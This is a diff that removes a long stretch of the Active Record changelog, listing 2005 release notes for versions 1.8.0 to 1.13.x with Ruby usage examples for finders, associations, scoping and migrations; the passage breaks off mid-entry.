-* Include the Enumerable module in ActiveRecord::Errors. [Rick Bradley <rick@rickbradley.com>]
-
-* Add :group option, correspond to GROUP BY, to the find method and to the has_many association. #2818 [rubyonrails@atyp.de]
-
-* Don't cast nil or empty strings to a dummy date. #2789 [Rick Bradley <rick@rickbradley.com>]
-
-* acts_as_list plays nicely with inheritance by remembering the class which declared it. #2811 [rephorm@rephorm.com]
-
-* Fix sqlite adaptor's detection of missing dbfile or database declaration. [Nicholas Seckar]
-
-* Fixed acts_as_list for definitions without an explicit :order #2803 [Jonathan Viney]
-
-* Upgrade bundled ruby-mysql 0.2.4 with mysql411 shim (see #440) to ruby-mysql 0.2.6 with a patchset for 4.1 protocol support. Local change [301] is now a part of the main driver; reapplied local change [2182]. Removed GC.start from Result.free. [tommy@tmtm.org, akuroda@gmail.com, Doug Fales <doug.fales@gmail.com>, Jeremy Kemper]
-
-* Correct handling of complex order clauses with SQL Server limit emulation. #2770 [Tom Ward <tom@popdog.net>, Matt B.]
-
-* Correct whitespace problem in Oracle default column value parsing. #2788 [rick@rickbradley.com]
-
-* Destroy associated has_and_belongs_to_many records after all before_destroy callbacks but before destroy. This allows you to act on the habtm association as you please while preserving referential integrity. #2065 [larrywilliams1@gmail.com, sam.kirchmeier@gmail.com, elliot@townx.org, Jeremy Kemper]
-
-* Deprecate the old, confusing :exclusively_dependent option in favor of :dependent => :delete_all. [Jeremy Kemper]
-
-* More compatible Oracle column reflection. #2771 [Ryan Davis <ryand-ruby@zenspider.com>, Michael Schoen <schoenm@earthlink.net>]
-
-
-*1.13.0* (November 7th, 2005)
-
-* Fixed faulty regex in get_table_name method (SQLServerAdapter) #2639 [Ryan Tomayko]
-
-* Added :include as an option for association declarations [David Heinemeier Hansson]. Example:
-
- has_many :posts, :include => [ :author, :comments ]
-
-* Rename Base.constrain to Base.with_scope so it doesn't conflict with existing concept of database constraints. Make scoping more robust: uniform method => parameters, validated method names and supported finder parameters, raise exception on nested scopes. [Jeremy Kemper] Example:
-
- Comment.with_scope(:find => { :conditions => 'active=true' }, :create => { :post_id => 5 }) do
- # Find where name = ? and active=true
- Comment.find :all, :conditions => ['name = ?', name]
- # Create comment associated with :post_id
- Comment.create :body => "Hello world"
- end
-
-* Fixed that SQL Server should ignore :size declarations on anything but integer and string in the agnostic schema representation #2756 [Ryan Tomayko]
-
-* Added constrain scoping for creates using a hash of attributes bound to the :creation key [David Heinemeier Hansson]. Example:
-
- Comment.constrain(:creation => { :post_id => 5 }) do
- # Associated with :post_id
- Comment.create :body => "Hello world"
- end
-
- This is rarely used directly, but allows for find_or_create on associations. So you can do:
-
- # If the tag doesn't exist, a new one is created that's associated with the person
- person.tags.find_or_create_by_name("Summer")
-
-* Added find_or_create_by_X as a second type of dynamic finder that'll create the record if it doesn't already exist [David Heinemeier Hansson]. Example:
-
- # No 'Summer' tag exists
- Tag.find_or_create_by_name("Summer") # equal to Tag.create(:name => "Summer")
-
- # Now the 'Summer' tag does exist
- Tag.find_or_create_by_name("Summer") # equal to Tag.find_by_name("Summer")
-
-* Added extension capabilities to has_many and has_and_belongs_to_many proxies [David Heinemeier Hansson]. Example:
-
- class Account < ActiveRecord::Base
- has_many :people do
- def find_or_create_by_name(name)
- first_name, *last_name = name.split
- last_name = last_name.join " "
-
- find_or_create_by_first_name_and_last_name(first_name, last_name)
- end
- end
- end
-
- person = Account.find(:first).people.find_or_create_by_name("David Heinemeier Hansson")
- person.first_name # => "David"
- person.last_name # => "Heinemeier Hansson"
-
- Note that the anoymous module must be declared using brackets, not do/end (due to order of evaluation).
-
-* Omit internal dtproperties table from SQLServer table list. #2729 [Ryan Tomayko]
-
-* Quote column names in generated SQL. #2728 [Ryan Tomayko]
-
-* Correct the pure-Ruby MySQL 4.1.1 shim's version test. #2718 [Jeremy Kemper]
-
-* Add Model.create! to match existing model.save! method. When save! raises RecordInvalid, you can catch the exception, retrieve the invalid record (invalid_exception.record), and see its errors (invalid_exception.record.errors). [Jeremy Kemper]
-
-* Correct fixture behavior when table name pluralization is off. #2719 [Rick Bradley <rick@rickbradley.com>]
-
-* Changed :dbfile to :database for SQLite adapter for consistency (old key still works as an alias) #2644 [Dan Peterson]
-
-* Added migration support for Oracle #2647 [Michael Schoen]
-
-* Worked around that connection can't be reset if allow_concurrency is off. #2648 [Michael Schoen <schoenm@earthlink.net>]
-
-* Fixed SQL Server adapter to pass even more tests and do even better #2634 [Ryan Tomayko]
-
-* Fixed SQL Server adapter so it honors options[:conditions] when applying :limits #1978 [Tom Ward]
-
-* Added migration support to SQL Server adapter (please someone do the same for Oracle and DB2) #2625 [Tom Ward]
-
-* Use AR::Base.silence rather than AR::Base.logger.silence in fixtures to preserve Log4r compatibility. #2618 [dansketcher@gmail.com]
-
-* Constraints are cloned so they can't be inadvertently modified while they're
-in effect. Added :readonly finder constraint. Calling an association collection's class method (Part.foobar via item.parts.foobar) constrains :readonly => false since the collection's :joins constraint would otherwise force it to true. [Jeremy Kemper <rails@bitsweat.net>]
-
-* Added :offset and :limit to the kinds of options that Base.constrain can use #2466 [duane.johnson@gmail.com]
-
-* Fixed handling of nil number columns on Oracle and cleaned up tests for Oracle in general #2555 [Michael Schoen]
-
-* Added quoted_true and quoted_false methods and tables to db2_adapter and cleaned up tests for DB2 #2493, #2624 [maik schmidt]
-
-
-*1.12.2* (October 26th, 2005)
-
-* Allow symbols to rename columns when using SQLite adapter. #2531 [Kevin Clark]
-
-* Map Active Record time to SQL TIME. #2575, #2576 [Robby Russell <robby@planetargon.com>]
-
-* Clarify semantics of ActiveRecord::Base#respond_to? #2560 [Stefan Kaes]
-
-* Fixed Association#clear for associations which have not yet been accessed. #2524 [Patrick Lenz <patrick@lenz.sh>]
-
-* HABTM finders shouldn't return readonly records. #2525 [Patrick Lenz <patrick@lenz.sh>]
-
-* Make all tests runnable on their own. #2521. [Blair Zajac <blair@orcaware.com>]
-
-
-*1.12.1* (October 19th, 2005)
-
-* Always parenthesize :conditions options so they may be safely combined with STI and constraints.
-
-* Correct PostgreSQL primary key sequence detection. #2507 [tmornini@infomania.com]
-
-* Added support for using limits in eager loads that involve has_many and has_and_belongs_to_many associations
-
-
-*1.12.0* (October 16th, 2005)
-
-* Update/clean up documentation (rdoc)
-
-* PostgreSQL sequence support. Use set_sequence_name in your model class to specify its primary key sequence. #2292 [Rick Olson <technoweenie@gmail.com>, Robby Russell <robby@planetargon.com>]
-
-* Change default logging colors to work on both white and black backgrounds. [Sam Stephenson]
-
-* YAML fixtures support ordered hashes for fixtures with foreign key dependencies in the same table. #1896 [purestorm@ggnore.net]
-
-* :dependent now accepts :nullify option. Sets the foreign key of the related objects to NULL instead of deleting them. #2015 [Robby Russell <robby@planetargon.com>]
-
-* Introduce read-only records. If you call object.readonly! then it will mark the object as read-only and raise ReadOnlyRecord if you call object.save. object.readonly? reports whether the object is read-only. Passing :readonly => true to any finder method will mark returned records as read-only. The :joins option now implies :readonly, so if you use this option, saving the same record will now fail. Use find_by_sql to work around.
-
-* Avoid memleak in dev mode when using fcgi
-
-* Simplified .clear on active record associations by using the existing delete_records method. #1906 [Caleb <me@cpb.ca>]
-
-* Delegate access to a customized primary key to the conventional id method. #2444. [Blair Zajac <blair@orcaware.com>]
-
-* Fix errors caused by assigning a has-one or belongs-to property to itself
-
-* Add ActiveRecord::Base.schema_format setting which specifies how databases should be dumped [Sam Stephenson]
-
-* Update DB2 adapter. #2206. [contact@maik-schmidt.de]
-
-* Corrections to SQLServer native data types. #2267. [rails.20.clarry@spamgourmet.com]
-
-* Deprecated ActiveRecord::Base.threaded_connection in favor of ActiveRecord::Base.allow_concurrency.
-
-* Protect id attribute from mass assigment even when the primary key is set to something else. #2438. [Blair Zajac <blair@orcaware.com>]
-
-* Misc doc fixes (typos/grammar/etc.). #2430. [coffee2code]
-
-* Add test coverage for content_columns. #2432. [coffee2code]
-
-* Speed up for unthreaded environments. #2431. [Stefan Kaes]
-
-* Optimization for Mysql selects using mysql-ruby extension greater than 2.6.3. #2426. [Stefan Kaes]
-
-* Speed up the setting of table_name. #2428. [Stefan Kaes]
-
-* Optimize instantiation of STI subclass records. In partial fullfilment of #1236. [Stefan Kaes]
-
-* Fix typo of 'constrains' to 'contraints'. #2069. [Michael Schuerig <michael@schuerig.de>]
-
-* Optimization refactoring for add_limit_offset!. In partial fullfilment of #1236. [Stefan Kaes]
-
-* Add ability to get all siblings, including the current child, with acts_as_tree. Recloses #2140. [Michael Schuerig <michael@schuerig.de>]
-
-* Add geometric type for postgresql adapter. #2233 [Andrew Kaspick]
-
-* Add option (true by default) to generate reader methods for each attribute of a record to avoid the overhead of calling method missing. In partial fullfilment of #1236. [Stefan Kaes]
-
-* Add convenience predicate methods on Column class. In partial fullfilment of #1236. [Stefan Kaes]
-
-* Raise errors when invalid hash keys are passed to ActiveRecord::Base.find. #2363 [Chad Fowler <chad@chadfowler.com>, Nicholas Seckar]
-
-* Added :force option to create_table that'll try to drop the table if it already exists before creating
-
-* Fix transactions so that calling return while inside a transaction will not leave an open transaction on the connection. [Nicholas Seckar]
-
-* Use foreign_key inflection uniformly. #2156 [Blair Zajac <blair@orcaware.com>]
-
-* model.association.clear should destroy associated objects if :dependent => true instead of nullifying their foreign keys. #2221 [joergd@pobox.com, ObieFernandez <obiefernandez@gmail.com>]
-
-* Returning false from before_destroy should cancel the action. #1829 [Jeremy Huffman]
-
-* Recognize PostgreSQL NOW() default as equivalent to CURRENT_TIMESTAMP or CURRENT_DATE, depending on the column's type. #2256 [mat <mat@absolight.fr>]
-
-* Extensive documentation for the abstract database adapter. #2250 [François Beausoleil <fbeausoleil@ftml.net>]
-
-* Clean up Fixtures.reset_sequences for PostgreSQL. Handle tables with no rows and models with custom primary keys. #2174, #2183 [jay@jay.fm, Blair Zajac <blair@orcaware.com>]
-
-* Improve error message when nil is assigned to an attr which validates_size_of within a range. #2022 [Manuel Holtgrewe <purestorm@ggnore.net>]
-
-* Make update_attribute use the same writer method that update_attributes uses.
- #2237 [trevor@protocool.com]
-
-* Make migrations honor table name prefixes and suffixes. #2298 [Jakob Skjerning, Marcel Molina Jr.]
-
-* Correct and optimize PostgreSQL bytea escaping. #1745, #1837 [dave@cherryville.org, ken@miriamtech.com, bellis@deepthought.org]
-
-* Fixtures should only reset a PostgreSQL sequence if it corresponds to an integer primary key named id. #1749 [chris@chrisbrinker.com]
-
-* Standardize the interpretation of boolean columns in the Mysql and Sqlite adapters. (Use MysqlAdapter.emulate_booleans = false to disable this behavior)
-
-* Added new symbol-driven approach to activating observers with Base#observers= [David Heinemeier Hansson]. Example:
-
- ActiveRecord::Base.observers = :cacher, :garbage_collector
-
-* Added AbstractAdapter#select_value and AbstractAdapter#select_values as convenience methods for selecting single values, instead of hashes, of the first column in a SELECT #2283 [solo@gatelys.com]
-
-* Wrap :conditions in parentheses to prevent problems with OR's #1871 [Jamis Buck]
-
-* Allow the postgresql adapter to work with the SchemaDumper. [Jamis Buck]
-
-* Add ActiveRecord::SchemaDumper for dumping a DB schema to a pure-ruby file, making it easier to consolidate large migration lists and port database schemas between databases. [Jamis Buck]
-
-* Fixed migrations for Windows when using more than 10 [David Naseby]
-
-* Fixed that the create_x method from belongs_to wouldn't save the association properly #2042 [Florian Weber]
-
-* Fixed saving a record with two unsaved belongs_to associations pointing to the same object #2023 [Tobias Lütke]
-
-* Improved migrations' behavior when the schema_info table is empty. [Nicholas Seckar]
-
-* Fixed that Observers didn't observe sub-classes #627 [Florian Weber]
-
-* Fix eager loading error messages, allow :include to specify tables using strings or symbols. Closes #2222 [Marcel Molina Jr.]
-
-* Added check for RAILS_CONNECTION_ADAPTERS on startup and only load the connection adapters specified within if its present (available in Rails through config.connection_adapters using the new config) #1958 [skae]
-
-* Fixed various problems with has_and_belongs_to_many when using customer finder_sql #2094 [Florian Weber]
-
-* Added better exception error when unknown column types are used with migrations #1814 [François Beausoleil]
-
-* Fixed "connection lost" issue with the bundled Ruby/MySQL driver (would kill the app after 8 hours of inactivity) #2163, #428 [kajism@yahoo.com]
-
-* Fixed comparison of Active Record objects so two new objects are not equal #2099 [deberg]
-
-* Fixed that the SQL Server adapter would sometimes return DBI::Timestamp objects instead of Time #2127 [Tom Ward]
-
-* Added the instance methods #root and #ancestors on acts_as_tree and fixed siblings to not include the current node #2142, #2140 [coffee2code]
-
-* Fixed that Active Record would call SHOW FIELDS twice (or more) for the same model when the cached results were available #1947 [sd@notso.net]
-
-* Added log_level and use_silence parameter to ActiveRecord::Base.benchmark. The first controls at what level the benchmark statement will be logged (now as debug, instead of info) and the second that can be passed false to include all logging statements during the benchmark block/
-
-* Make sure the schema_info table is created before querying the current version #1903
-
-* Fixtures ignore table name prefix and suffix #1987 [Jakob Skjerning]
-
-* Add documentation for index_type argument to add_index method for migrations #2005 [Blaine]
-
-* Modify read_attribute to allow a symbol argument #2024 [Ken Kunz]
-
-* Make destroy return self #1913 [Sebastian Kanthak]
-
-* Fix typo in validations documentation #1938 [court3nay]
-
-* Make acts_as_list work for insert_at(1) #1966 [hensleyl@papermountain.org]
-
-* Fix typo in count_by_sql documentation #1969 [Alexey Verkhovsky]
-
-* Allow add_column and create_table to specify NOT NULL #1712 [emptysands@gmail.com]
-
-* Fix create_table so that id column is implicitly added [Rick Olson]
-
-* Default sequence names for Oracle changed to #{table_name}_seq, which is the most commonly used standard. In addition, a new method ActiveRecord::Base#set_sequence_name allows the developer to set the sequence name per model. This is a non-backwards-compatible change -- anyone using the old-style "rails_sequence" will need to either create new sequences, or set: ActiveRecord::Base.set_sequence_name = "rails_sequence" #1798
-
-* OCIAdapter now properly handles synonyms, which are commonly used to separate out the schema owner from the application user #1798
-
-* Fixed the handling of camelCase columns names in Oracle #1798
-
-* Implemented for OCI the Rakefile tasks of :clone_structure_to_test, :db_structure_dump, and :purge_test_database, which enable Oracle folks to enjoy all the agile goodness of Rails for testing. Note that the current implementation is fairly limited -- only tables and sequences are cloned, not constraints or indexes. A full clone in Oracle generally requires some manual effort, and is version-specific. Post 9i, Oracle recommends the use of the DBMS_METADATA package, though that approach requires editing of the physical characteristics generated #1798
-
-* Fixed the handling of multiple blob columns in Oracle if one or more of them are null #1798
-
-* Added support for calling constrained class methods on has_many and has_and_belongs_to_many collections #1764 [Tobias Lütke]
-
- class Comment < AR:B
- def self.search(q)
- find(:all, :conditions => ["body = ?", q])
- end
- end
-
- class Post < AR:B
- has_many :comments
- end
-
- Post.find(1).comments.search('hi') # => SELECT * from comments WHERE post_id = 1 AND body = 'hi'
-
- NOTICE: This patch changes the underlying SQL generated by has_and_belongs_to_many queries. If your relying on that, such as
- by explicitly referencing the old t and j aliases, you'll need to update your code. Of course, you _shouldn't_ be relying on
- details like that no less than you should be diving in to touch private variables. But just in case you do, consider yourself
- noticed :)
-
-* Added migration support for SQLite (using temporary tables to simulate ALTER TABLE) #1771 [Sam Stephenson]
-
-* Remove extra definition of supports_migrations? from abstract_adaptor.rb [Nicholas Seckar]
-
-* Fix acts_as_list so that moving next-to-last item to the bottom does not result in duplicate item positions
-
-* Fixed incompatibility in DB2 adapter with the new limit/offset approach #1718 [Maik Schmidt]
-
-* Added :select option to find which can specify a different value than the default *, like find(:all, :select => "first_name, last_name"), if you either only want to select part of the columns or exclude columns otherwise included from a join #1338 [Stefan Kaes]
-
-
-*1.11.1* (11 July, 2005)
-
-* Added support for limit and offset with eager loading of has_one and belongs_to associations. Using the options with has_many and has_and_belongs_to_many associations will now raise an ActiveRecord::ConfigurationError #1692 [Rick Olson]
-
-* Fixed that assume_bottom_position (in acts_as_list) could be called on items already last in the list and they would move one position away from the list #1648 [tyler@kianta.com]
-
-* Added ActiveRecord::Base.threaded_connections flag to turn off 1-connection per thread (required for thread safety). By default it's on, but WEBrick in Rails need it off #1685 [Sam Stephenson]
-
-* Correct reflected table name for singular associations. #1688 [court3nay]
-
-* Fixed optimistic locking with SQL Server #1660 [tom@popdog.net]
-
-* Added ActiveRecord::Migrator.migrate that can figure out whether to go up or down based on the target version and the current
-
-* Added better error message for "packets out of order" #1630 [court3nay]
-
-* Fixed first run of "rake migrate" on PostgreSQL by not expecting a return value on the id #1640
-
-
-*1.11.0* (6 July, 2005)
-
-* Fixed that Yaml error message in fixtures hid the real error #1623 [Nicholas Seckar]
-
-* Changed logging of SQL statements to use the DEBUG level instead of INFO
-
-* Added new Migrations framework for describing schema transformations in a way that can be easily applied across multiple databases #1604 [Tobias Lütke] See documentation under ActiveRecord::Migration and the additional support in the Rails rakefile/generator.
-
-* Added callback hooks to association collections #1549 [Florian Weber]. Example:
-
- class Project
- has_and_belongs_to_many :developers, :before_add => :evaluate_velocity
-
- def evaluate_velocity(developer)
- ...
- end
- end
-
- ..raising an exception will cause the object not to be added (or removed, with before_remove).
-
-
-* Fixed Base.content_columns call for SQL Server adapter #1450 [DeLynn Berry]
-
-* Fixed Base#write_attribute to work with both symbols and strings #1190 [Paul Legato]
-
-* Fixed that has_and_belongs_to_many didn't respect single table inheritance types #1081 [Florian Weber]
-
-* Speed up ActiveRecord#method_missing for the common case (read_attribute).
-
-* Only notify observers on after_find and after_initialize if these methods are defined on the model. #1235 [Stefan Kaes]
-
-* Fixed that single-table inheritance sub-classes couldn't be used to limit the result set with eager loading #1215 [Chris McGrath]
-
-* Fixed validates_numericality_of to work with overrided getter-method when :allow_nil is on #1316 [raidel@onemail.at]
-
-* Added roots, root, and siblings to the batch of methods added by acts_as_tree #1541 [Michael Schuerig]
-
-* Added support for limit/offset with the MS SQL Server driver so that pagination will now work #1569 [DeLynn Berry]
-
-* Added support for ODBC connections to MS SQL Server so you can connect from a non-Windows machine #1569 [Mark Imbriaco/DeLynn Berry]
-
-* Fixed that multiparameter posts ignored attr_protected #1532 [alec+rails@veryclever.net]
-
-* Fixed problem with eager loading when using a has_and_belongs_to_many association using :association_foreign_key #1504 [flash@vanklinkenbergsoftware.nl]
-
-* Fixed Base#find to honor the documentation on how :joins work and make them consistent with Base#count #1405 [pritchie@gmail.com]. What used to be:
-
- Developer.find :all, :joins => 'developers_projects', :conditions => 'id=developer_id AND project_id=1'
-
- ...should instead be:
-
- Developer.find(
- :all,
- :joins => 'LEFT JOIN developers_projects ON developers.id = developers_projects.developer_id',
- :conditions => 'project_id=1'
- )
-
-* Fixed that validations didn't respecting custom setting for too_short, too_long messages #1437 [Marcel Molina Jr.]
-
-* Fixed that clear_association_cache doesn't delete new associations on new records (so you can safely place new records in the session with Action Pack without having new associations wiped) #1494 [cluon]
-
-* Fixed that calling Model.find([]) returns [] and doesn't throw an exception #1379
-
-* Fixed that adding a record to a has_and_belongs_to collection would always save it -- now it only saves if its a new record #1203 [Alisdair McDiarmid]
-
-* Fixed saving of in-memory association structures to happen as a after_create/after_update callback instead of after_save -- that way you can add new associations in after_create/after_update callbacks without getting them saved twice
-
-* Allow any Enumerable, not just Array, to work as bind variables #1344 [Jeremy Kemper]
-
-* Added actual database-changing behavior to collection assigment for has_many and has_and_belongs_to_many #1425 [Sebastian Kanthak].
- Example:
-
- david.projects = [Project.find(1), Project.new("name" => "ActionWebSearch")]
- david.save
-
- If david.projects already contain the project with ID 1, this is left unchanged. Any other projects are dropped. And the new
- project is saved when david.save is called.
-
- Also included is a way to do assignments through IDs, which is perfect for checkbox updating, so you get to do:
-
- david.project_ids = [1, 5, 7]
-
-* Corrected typo in find SQL for has_and_belongs_to_many. #1312 [ben@bensinclair.com]
-
-* Fixed sanitized conditions for has_many finder method. #1281 [jackc@hylesanderson.com, pragdave, Tobias Lütke]
-
-* Comprehensive PostgreSQL schema support. Use the optional schema_search_path directive in database.yml to give a comma-separated list of schemas to search for your tables. This allows you, for example, to have tables in a shared schema without having to use a custom table name. See http://www.postgresql.org/docs/8.0/interactive/ddl-schemas.html to learn more. #827 [dave@cherryville.org]
-
-* Corrected @@configurations typo #1410 [david@ruppconsulting.com]
-
-* Return PostgreSQL columns in the order they were declared #1374 [perlguy@gmail.com]
-
-* Allow before/after update hooks to work on models using optimistic locking
-
-* Eager loading of dependent has_one associations won't delete the association #1212
-
-* Added a second parameter to the build and create method for has_one that controls whether the existing association should be replaced (which means nullifying its foreign key as well). By default this is true, but false can be passed to prevent it.
-
-* Using transactional fixtures now causes the data to be loaded only once.
-
-* Added fixture accessor methods that can be used when instantiated fixtures are disabled.
-
- fixtures :web_sites
-
- def test_something
- assert_equal "Ruby on Rails", web_sites(:rubyonrails).name
- end
-
-* Added DoubleRenderError exception that'll be raised if render* is called twice #518 [Nicholas Seckar]
-
-* Fixed exceptions occuring after render has been called #1096 [Nicholas Seckar]
-
-* CHANGED: validates_presence_of now uses Errors#add_on_blank, which will make " " fail the validation where it didn't before #1309
-
-* Added Errors#add_on_blank which works like Errors#add_on_empty, but uses Object#blank? instead
-
-* Added the :if option to all validations that can either use a block or a method pointer to determine whether the validation should be run or not. #1324 [Duane Johnson/jhosteny]. Examples:
-
- Conditional validations such as the following are made possible:
- validates_numericality_of :income, :if => :employed?
-
- Conditional validations can also solve the salted login generator problem:
- validates_confirmation_of :password, :if => :new_password?
-
- Using blocks:
- validates_presence_of :username, :if => Proc.new { |user| user.signup_step > 1 }
-
-* Fixed use of construct_finder_sql when using :join #1288 [dwlt@dwlt.net]
-
-* Fixed that :delete_sql in has_and_belongs_to_many associations couldn't access record properties #1299 [Rick Olson]
-
-* Fixed that clone would break when an aggregate had the same name as one of its attributes #1307 [Jeremy Kemper]
-
-* Changed that destroying an object will only freeze the attributes hash, which keeps the object from having attributes changed (as that wouldn't make sense), but allows for the querying of associations after it has been destroyed.
-
-* Changed the callbacks such that observers are notified before the in-object callbacks are triggered. Without this change, it wasn't possible to act on the whole object in something like a before_destroy observer without having the objects own callbacks (like deleting associations) called first.
-
-* Added option for passing an array to the find_all version of the dynamic finders and have it evaluated as an IN fragment. Example:
-
- # SELECT * FROM topics WHERE title IN ('First', 'Second')
- Topic.find_all_by_title(["First", "Second"])
-
-* Added compatibility with camelCase column names for dynamic finders #533 [Dee Zsombor]
-
-* Fixed extraneous comma in count() function that made it not work with joins #1156 [Jarkko Laine/Dee Zsombor]
-
-* Fixed incompatibility with Base#find with an array of ids that would fail when using eager loading #1186 [Alisdair McDiarmid]
-
-* Fixed that validate_length_of lost :on option when :within was specified #1195 [jhosteny@mac.com]
-
-* Added encoding and min_messages options for PostgreSQL #1205 [Shugo Maeda]. Configuration example:
-
- development:
- adapter: postgresql
- database: rails_development
- host: localhost
- username: postgres
- password:
- encoding: UTF8
- min_messages: ERROR
-
-* Fixed acts_as_list where deleting an item that was removed from the list would ruin the positioning of other list items #1197 [Jamis Buck]
-
-* Added validates_exclusion_of as a negative of validates_inclusion_of
-
-* Optimized counting of has_many associations by setting the association to empty if the count is 0 so repeated calls doesn't trigger database calls
-
-
-*1.10.1* (20th April, 2005)
-
-* Fixed frivilous database queries being triggered with eager loading on empty associations and other things
-
-* Fixed order of loading in eager associations
-
-* Fixed stray comma when using eager loading and ordering together from has_many associations #1143
-
-
-*1.10.0* (19th April, 2005)
-
-* Added eager loading of associations as a way to solve the N+1 problem more gracefully without piggy-back queries. Example:
-
- for post in Post.find(:all, :limit => 100)
- puts "Post: " + post.title
- puts "Written by: " + post.author.name
- puts "Last comment on: " + post.comments.first.created_on
- end
-
- This used to generate 301 database queries if all 100 posts had both author and comments. It can now be written as:
-
- for post in Post.find(:all, :limit => 100, :include => [ :author, :comments ])
-
- ...and the number of database queries needed is now 1.
-
-* Added new unified Base.find API and deprecated the use of find_first and find_all. See the documentation for Base.find. Examples:
-
- Person.find(1, :conditions => "administrator = 1", :order => "created_on DESC")
- Person.find(1, 5, 6, :conditions => "administrator = 1", :order => "created_on DESC")
- Person.find(:first, :order => "created_on DESC", :offset => 5)
- Person.find(:all, :conditions => [ "category IN (?)", categories], :limit => 50)
- Person.find(:all, :offset => 10, :limit => 10)
-
-* Added acts_as_nested_set #1000 [wschenk]. Introduction:
-
- This acts provides Nested Set functionality. Nested Set is similiar to Tree, but with
- the added feature that you can select the children and all of it's descendants with
- a single query. A good use case for this is a threaded post system, where you want
- to display every reply to a comment without multiple selects.
-
-* Added Base.save! that attempts to save the record just like Base.save but will raise a RecordInvalid exception instead of returning false if the record is not valid [Dave Thomas]
-
-* Fixed PostgreSQL usage of fixtures with regards to public schemas and table names with dots #962 [gnuman1@gmail.com]
-
-* Fixed that fixtures were being deleted in the same order as inserts causing FK errors #890 [andrew.john.peters@gmail.com]
-
-* Fixed loading of fixtures in to be in the right order (or PostgreSQL would bark) #1047 [stephenh@chase3000.com]
-
-* Fixed page caching for non-vhost applications living underneath the root #1004 [Ben Schumacher]
-
-* Fixes a problem with the SQL Adapter which was resulting in IDENTITY_INSERT not being set to ON when it should be #1104 [adelle]
-
-* Added the option to specify the acceptance string in validates_acceptance_of #1106 [caleb@aei-tech.com]
-
-* Added insert_at(position) to acts_as_list #1083 [DeLynnB]
-
-* Removed the default order by id on has_and_belongs_to_many queries as it could kill performance on large sets (you can still specify by hand with :order)
-
-* Fixed that Base.silence should restore the old logger level when done, not just set it to DEBUG #1084 [yon@milliped.com]
-
-* Fixed boolean saving on Oracle #1093 [mparrish@pearware.org]
-
-* Moved build_association and create_association for has_one and belongs_to out of deprecation as they work when the association is nil unlike association.build and association.create, which require the association to be already in place #864
-
-* Added rollbacks of transactions if they're active as the dispatcher is killed gracefully (TERM signal) #1054 [Leon Bredt]
-
-* Added quoting of column names for fixtures #997 [jcfischer@gmail.com]
-
-* Fixed counter_sql when no records exist in database for PostgreSQL (would give error, not 0) #1039 [Caleb Tennis]
-
-* Fixed that benchmarking times for rendering included db runtimes #987 [Stefan Kaes]
-
-* Fixed boolean queries for t/f fields in PostgreSQL #995 [dave@cherryville.org]
-
-* Added that model.items.delete(child) will delete the child, not just set the foreign key to nil, if the child is dependent on the model #978 [Jeremy Kemper]
-
-* Fixed auto-stamping of dates (created_on/updated_on) for PostgreSQL #985 [dave@cherryville.org]
-
-* Fixed Base.silence/benchmark to only log if a logger has been configured #986 [Stefan Kaes]
-
-* Added a join parameter as the third argument to Base.find_first and as the second to Base.count #426, #988 [Stefan Kaes]
-
-* Fixed bug in Base#hash method that would treat records with the same string-based id as different [Dave Thomas]
-
-* Renamed DateHelper#distance_of_time_in_words_to_now to DateHelper#time_ago_in_words (old method name is still available as a deprecated alias)
-
-
-*1.9.1* (27th March, 2005)
-
-* Fixed that Active Record objects with float attribute could not be cloned #808
-
-* Fixed that MissingSourceFile's wasn't properly detected in production mode #925 [Nicholas Seckar]
-
-* Fixed that :counter_cache option would look for a line_items_count column for a LineItem object instead of lineitems_count
-
-* Fixed that AR exists?() would explode on postgresql if the passed id did not match the PK type #900 [Scott Barron]
-
-* Fixed the MS SQL adapter to work with the new limit/offset approach and with binary data (still suffering from 7KB limit, though) #901 [delynnb]
-
-
-*1.9.0* (22th March, 2005)
-
-* Added adapter independent limit clause as a two-element array with the first being the limit, the second being the offset #795 [Sam Stephenson]. Example:
-
- Developer.find_all nil, 'id ASC', 5 # return the first five developers
- Developer.find_all nil, 'id ASC', [3, 8] # return three developers, starting from #8 and forward
-
- This doesn't yet work with the DB2 or MS SQL adapters. Patches to make that happen are encouraged.
-
-* Added alias_method :to_param, :id to Base, such that Active Record objects to be used as URL parameters in Action Pack automatically #812 [Nicholas Seckar/Sam Stephenson]
-
-* Improved the performance of the OCI8 adapter for Oracle #723 [pilx/gjenkins]
-
-* Added type conversion before saving a record, so string-based values like "10.0" aren't left for the database to convert #820 [dave@cherryville.org]
-
-* Added with additional settings for working with transactional fixtures and pre-loaded test databases #865 [mindel]
-
-* Fixed acts_as_list to trigger remove_from_list on destroy after the fact, not before, so a unique position can be maintained #871 [Alisdair McDiarmid]
-
-* Added the possibility of specifying fixtures in multiple calls #816 [kim@tinker.com]
-
-* Added Base.exists?(id) that'll return true if an object of the class with the given id exists #854 [stian@grytoyr.net]
-
-* Added optionally allow for nil or empty strings with validates_numericality_of #801 [Sebastian Kanthak]
-
-* Fixed problem with using slashes in validates_format_of regular expressions #801 [Sebastian Kanthak]
-
-* Fixed that SQLite3 exceptions are caught and reported properly #823 [yerejm]
-
-* Added that all types of after_find/after_initialized callbacks are triggered if the explicit implementation is present, not only the explicit implementation itself
-
-* Fixed that symbols can be used on attribute assignment, like page.emails.create(:subject => data.subject, :body => data.body)
-
-
-*1.8.0* (7th March, 2005)
-
-* Added ActiveRecord::Base.colorize_logging to control whether to use colors in logs or not (on by default)
-
-* Added support for timestamp with time zone in PostgreSQL #560 [Scott Barron]
-
-* Added MultiparameterAssignmentErrors and AttributeAssignmentError exceptions #777 [demetrius]. Documentation:
-
- * +MultiparameterAssignmentErrors+ -- collection of errors that occurred during a mass assignment using the
- +attributes=+ method. The +errors+ property of this exception contains an array of +AttributeAssignmentError+
- objects that should be inspected to determine which attributes triggered the errors.
- * +AttributeAssignmentError+ -- an error occurred while doing a mass assignment through the +attributes=+ method.
- You can inspect the +attribute+ property of the exception object to determine which attribute triggered the error.
-
-* Fixed that postgresql adapter would fails when reading bytea fields with null value #771 [rodrigo k]
-
-* Added transactional fixtures that uses rollback to undo changes to fixtures instead of DELETE/INSERT -- it's much faster. See documentation under Fixtures #760 [Jeremy Kemper]
-
-* Added destruction of dependent objects in has_one associations when a new assignment happens #742 [mindel]. Example:
-
- class Account < ActiveRecord::Base
- has_one :credit_card, :dependent => true
- end
- class CreditCard < ActiveRecord::Base
- belongs_to :account
- end
-
- account.credit_card # => returns existing credit card, lets say id = 12
- account.credit_card = CreditCard.create("number" => "123")
- account.save # => CC with id = 12 is destroyed
-
-
-* Added validates_numericality_of #716 [Sebastian Kanthak/Chris McGrath]. Docuemntation:
-
- Validates whether the value of the specified attribute is numeric by trying to convert it to
- a float with Kernel.Float (if <tt>integer</tt> is false) or applying it to the regular expression
